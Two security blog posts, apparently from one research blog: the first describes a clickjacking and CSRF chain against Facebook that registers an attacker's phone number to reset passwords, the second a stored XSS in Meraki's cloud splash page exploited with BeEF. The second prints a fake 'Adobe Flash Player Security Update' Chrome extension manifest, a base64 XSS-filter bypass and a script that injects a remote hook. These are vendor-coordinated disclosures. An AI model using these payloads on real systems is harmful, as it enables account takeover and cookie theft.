UI Redressing against Facebook

In this post, I'm going to discuss a possible attack scenario, targeting the Facebook web application, that could lead to the reset of account passwords in an automated fashion exploiting a UI Redressing issue with the use of a cross-domain extraction technique.

UI Redressing bug, again


During my research, I discovered a Facebook's web resource that is not protected by the X-Frame-Options and that includes the fb_dtsg token, which is adopted as an anti-CSRF token (Figure 1). The following is the affected URL:
  • http://www.facebook.com/ajax/intl/language_dialog.php
Figure 1 - Facebook's web resource vulnerable to UI Redressing attacks.
The iframe-to-iframe extraction method can be applied here to extract fb_dtsg's value and, consequently, perform a series of Cross-Site Request Forgery attacks against the integrity of the victim's profile data.

The theory behind the Facebook profiles takeover


Facebook allows users to add a mobile number that, once certified, can be adopted as username in order to login or reset the account's password. Users can insert their mobile numbers via the Account Settings → Mobile → Add a phone → add your phone number options (Figure 2 and Figure 3): a confirmation code is therefore sent by Facebook's system to the user's mobile phone and it must be inserted (Figure 4) to complete the activation process.
Figure 2 - Users can add their mobile number via the "add your phone number here" link.
Figure 3 - Facebook's form used to add a mobile number.
Figure 4 - A confirmation code is sent to the user's mobile and must be entered to complete the process.

The main issue here is that no password is required to associate the mobile number to the user's profile. Because of this, an attacker may abuse the described UI Redressing vulnerability to steal the fb_dtsg token and register an arbitrary phone number. Despite this, the attacker still needs to insert the confirmation code in order to associate his mobile number. A bit of black magic helps here: the attacker can abuse an SMS to mail mobile application to automatically forward the Facebook text-message (SMS) to an attacker-controlled mail box, thus allowing an hypothetical exploit to fetch the code and complete the insertion process.

The exploit


A working Proof of Concept exploit has been developed in order to demonstrate the described attack. We have also shared the code with the Facebook security team. During my experiments, the Android application SMS2Mail has been adopted to forward the Facebook SMS (Figure 5) to the mail box (Figure 6).

Figure 5 - SMS with the Facebook's confirmation code that has been forwarded to the attacker's mail box.

Figure 6 - Facebook confirmation code forwarded to the attacker's mailbox.

The following steps summarize the exploitation phases:
  1. The exploit frames the vulnerable resource and allows the victim to play a fake game while performing the cross-domain content extraction;
  2. The fb_dtsg anti-CSRF token and the victim's user id are extracted. An HTTP request is forwarded to the Facebook application in order to emulate the attacker-controlled mobile number registration;
  3. An text-message (SMS), containing the confirmation code, is sent to the attacker mobile device. An SMS2Mail mobile application is installed on attacker's device and automatically forwards the SMS to an attacker-controlled mail box;
  4. The exploit waits for the SMS to be forwarded to the mail box, then extracts the confirmation code and performs a second CSRF attack in order to submit the code itself and complete the mobile number registration.

The attacker's mobile number is now associated with the victim's profile and can be used to reset the account's password. As a matter of fact, Facebook allows users to enter a previously associated mobile number (Figure 7) which is then used to send a reset code (Figure 8).

Figure 7 - Reset password mechanism involving the user's mobile number .
Figure 8 - Facebook's form used to insert the resetting code.
A fully automated Proof of Concept exploit can be downloaded here, while the following video illustrates the described attack:

Subverting a cloud-based infrastructure with XSS and BeEF

Well, the world is changing. You can probably do a lot more direct damage with a XSS in a high-value site than with a local privilege escalation in sudo [...] - lcamtuf@coredump.cx
If you are intrigued by sophisticated exploits and advanced techniques, Cross-Site Scripting isn't probably the most appealing topic for you. Nevertheless, recent events demonstrated how this class of vulnerabilities has been used to compromise applications and even entire servers.

Today, we are going to present a possible attack scenario based on a real-life vulnerability that has been recently patched by the Meraki team. Although the vulnerability itself isn't particularly interesting, it is revealing how a trivial XSS flaw can be abused to subvert an entire network infrastructure.


Meraki is the first cloud-managed network infrastructure company and it's now part of Cisco Systems. The idea is pretty neat: all network devices and security appliances (wired and wireless) can be managed by a cutting-edge web interface hosted in the cloud, allowing Meraki networks to be completely set up and controlled through the Internet. Many enterprises, universities and numerous other businesses are already using this technology.

As usual, new technologies introduce opportunities and risks. In such environments, even a simple Cross-Site Scripting or a Cross-Site Request Forgery vulnerability can affect the overall security of the managed networks.

The vulnerability

During a product evaluation of a cloud managed Wireless Access Point, we noticed the possibility to personalize the portal splash page.  Users accessing your WiFi network can be redirected to a custom webpage (e.g. containing a disclaimer) before accessing Internet.

To further customize our splash page, we started including images and other HTML tags. With big surprise, we quickly discovered that just a basic HTML/JS validation was performed in that context. As a result, we were able to include things like:

What was even more interesting is the fact that the splash page is also hosted in the cloud. Unlike traditional WiFi APs where the page is hosted on the device itself, Meraki appliances use cloud resources.

https://n20.meraki.com/splash/?mac=XXXX&client_ip=XXXX&client_mac=XXXX&vap=0&a=XXXX&b=XXXX&auth_version=5&key=ef1115d... AUTH_KEY...d41c283&node_ip=XXXX&acl_ver=XXXX&continue_url=http%3A%2F%2Fwww.google.com

To protect that page from random visitors, a unique token is used for authentication. Assuming you provide the right token and other required parameters, that page is accessible to Internet users.

Now, let's add to the mix that Meraki uses a limited number of domains for all customers (e.g. n1-29.meraki.com, etc.) and, more importantly, that the dashboard session token is scoped to *.meraki.com. This factor turns the stored XSS affecting our own device's domain to a vulnerability that can be abused to retrieve the dashboard cookie of other users and networks. 

Attack scenario

An attacker with access to a Meraki dashboard can craft a malicious JS payload to steal the dashboard session cookie and obtain access to other users' devices. In practice, this allows to completely take over Meraki's wired and wireless networks.

BeEF, the well-know Browser Exploitation Framework, has been used to simulate a realistic attack:

  1. The attacker customizes the splash page of his/her WiFi AP with an arbitrary JS payload, which includes the BeEF hook 
  2. Connecting a device to the physical wireless network controlled by the attacker (e.g. a testing device), it is possible to retrieve the URL of the splash page including the unique token 
  3. Using social engineering, the attacker tricks the victim(s) into visiting the attacker-controlled splash page
  4. At this point, the victim browser is hooked in BeEF
  5. Using one of the available BeEF modules, the attacker can retrieve the HttpOnly dash_auth cookie and get access to the victim's Meraki dashboard 
  6. In the case of Meraki WiFi Access Point, a convenient map will display the position of the device. In the config tab, it is also possible to disclose the network's password. At this stage, the actual network can be fully controlled by the attacker


A demonstration video of the attack is also available:

For the interested readers, a few technical details are also shared:
  • Cookie flags (e.g. HttpOnly) are the ASLR/DEP of browser security. It is possible to bypass those mitigation techniques,  although it's getting more complex. Thanks to the progress of browser security and general awareness, stealing cookies marked as HttpOnly via JS payload isn't trivial anymore. Cross Site Tracing and similar techniques are obsolete. Browser plugins have been also patched. Besides exploiting specific servers or browsers bugs, attackers can only rely on social engineering tricks. During our Proof-of-Concept, a fake Flash update has been used to install a malicious Chrome extension and get access to all cookies
  • Chrome extensions run with different privileges than normal JavaScript code executed by the renderer. A Chrome extension can override default SOP restrictions and issue cross-domain requests reading the HTTP response, accessing other browser tabs, and also reading every cookie including those marked as HttpOnly. The manifest of the deliberately backdoored Chrome Extension is the following. The background.js file loads the BeEF hook.

      "name": "Adobe Flash Player Security Update",
      "manifest_version": 2,
      "version": "11.5.502.149",
      "description": "Updates Adobe Flash Player with latest securty updates",
      "background": {
        "scripts": ["background.js"]
      "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'",
      "icons": { 
        "16": "icon16.png",
        "48": "icon48.png",
        "128": "icon128.png" 
      "permissions": [

    Not to blame Google, but just FYI when the backdoored Chrome Extension was uploaded to Google Chrome Webstore, it was available straight after the upload. No checks were made by the application, for example to prevent the upload of an extension with very relaxed permissions, unsafe-eval CSP directive, and Name/Description fields containing an obviously fake content such as "Adobe Flash Update" 
  • Choosing Google Chrome as target browser required to bypass XSS Auditor, the integrated Anti-XSS filter. As discovered by Mario Heiderich, the data URI schema with base64 content can be leverage to bypass the filter. The following code snippet will trigger the classic alert(1), even on the latest Google Chrome at the time of writing (version 24.0.1312.71)

  • The final attack vector to inject the initial BeEF hook in Meraki's page is:

    <iframe src="data:text/html;base64,PHNjcmlwdD5zPWRvY3VtZW50LmNyZ

    And what is actually executed is:

    <script> s=document.createElement('script'); s.type='text/javascript'; s.src=''; document.getElementsByTagName('head')[0].appendChild(s); </script>

    Having a backdoored Chrome Extension running in your browser opens for many new attack vectors wich we din't covered in the PoC. For example, it is possible to inject the BeEF hook in every open tab (you can get the impact of this :-), or use the victim browser as an open proxy using BeEF's Tunneling Proxy component and many other attacks

This blog post is brought to you by @_ikki (NibbleSec) and @antisnatchor (BeEF core dev team).
Thanks to Meraki for the prompt response and the great service.